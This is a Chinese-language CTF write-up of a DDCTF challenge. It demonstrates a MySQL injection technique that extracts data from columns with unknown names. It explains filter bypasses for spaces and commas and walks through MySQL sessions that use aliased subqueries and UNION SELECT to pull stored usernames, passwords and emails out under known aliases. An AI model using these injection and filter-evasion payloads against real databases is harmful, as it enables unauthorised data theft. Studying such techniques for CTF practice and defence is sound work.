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Mysql如何巧妙的繞過未知字段名詳解

投稿：daisy

前言

本文介紹的是DDCTF第五題，繞過未知字段名的技巧，這裡拿本機來操作了下，思路很棒也很清晰，分享給大家，下面來看看詳細的介紹：

實現思路

題目過濾空格和逗號，空格使用%0a，%0b，%0c，%0d，%a0，或者直接使用括號都可以繞過，逗號使用join繞過；

存放flag的字段名未知，information_schema.columns也將表名的hex過濾了，即獲取不到字段名；這時可以利用聯合查詢，過程如下：

思想就是獲取flag，讓其在已知字段名下出現；

示例代碼：

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
| 1 | admin | admin888 | [email protected] |
| 2 | test | test123 | [email protected] |
| 3 | cs | cs123 | [email protected] |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4   |
+-------------+
| 4   |
| [email protected] |
| [email protected] |
| [email protected] |
+-------------+
4 rows in set (0.03 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;
 
+-------------+
| 4   |
+-------------+
| [email protected] |
+-------------+
1 row in set (0.01 sec)
 
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id   | username | password | email  |
+-------------+----------+----------+-------------+
| 1   | admin | admin888 | [email protected] |
| [email protected] | 1  | 1  | 1   |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)

總結

以上就是這篇文章的全部內容了，希望本文的內容對大家的學習或者工作能帶來一定的幫助，如果有疑問大家可以留言交流，謝謝大家對的支持。